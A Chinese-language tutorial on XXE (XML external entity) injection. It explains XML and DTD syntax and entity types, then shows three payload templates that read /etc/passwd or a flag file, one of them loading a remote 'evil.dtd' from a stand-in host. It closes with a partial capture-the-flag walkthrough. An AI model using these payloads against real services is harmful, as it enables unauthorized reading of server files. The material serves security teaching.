XXE漏洞
XML基础知识
XML语法规则如下:
- 所有的XML元素都必须有一个关闭标签
- XML标签对大小写敏感
- XML必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XML中,空格会被保留
XXE漏洞
XXE全称是XML External Entity,也就是XML
外部实体
注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
DTD
DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。
它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中(内部声明),也可作为一个外部引用。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note[ //DTD <!ELEMENT note(to,from,login)> //定义元素 <!ELEMENT to(#PCDATA)> <!ELEMENT from(#PCDATA)> <!ELEMENT login(#PCDATA)> ]> <note> <to> tony </ to> <from> anmi </ from> <login>123</ login> </ note>
引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don‘t forget me this weekend!</body> </note>
这是包含DTD的“ note.dtd”文件:
<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。
参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)
其余实体(直接用实体名称声明,使用&引用。 DTD中声明,xml中引用)
内部实体: <!ENTITY 实体名称 "实体内容"> 外部实体: <!ENTITY 实体名称 SYSTEM "URI"> <!ENTITY 实体名称 PUBLIC "public_ID" "URI"> 参数实体: <!ENTITY % 实体名称 "实体内容">
怎么判断网站是否存在XXE漏洞
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
构造外部实体注入的方法
1.直接通过DTD外部实体声明
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE NPFS[ <!ENTITY npfs SYSTEM "file:///home/ctf/flag.txt">]> <something>&npfs;</something>
2.通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.123.com/evil.dtd"> %d; ]> <aaa>&b;</aaa>
DTD文件(evil.dtd)内容
<!ENTITY b SYSTEM "file:///etc/passwd">
3.通过DTD外部实体声明引入外部实体声明
xml内容:
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a SYSTEM "http://www.123.com/evil.dtd"> <a>&b;</a>
DTD文件(evil.dtd)内容
<!ENTITY b SYSTEM "file:///etc/passwd">
另外,不同程序支持的协议是不一样:
(Jarvis OJ)api调用
‘ target="_blank">题目链接
go,抓包
可以发现这里应用的content-Type是json
JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。其诞生原因是因为XML整合到HTML中各个浏览器实现的细节不尽相同
JSON有2种结构形式,键值对形式和数组形式(如箭头二所示)
又因为题目hint:请设法获得目标机器/home/ctf/flag.txt中的flag值
判断为XXE漏洞
将json修改为xml,并构造外部引用
参考:
https://xz.aliyun.com/t/3357#toc-22
https://p0rz9.github.io/2019/02/27/xxe/#
https://security.tencent.com/index.php/blog/msg/69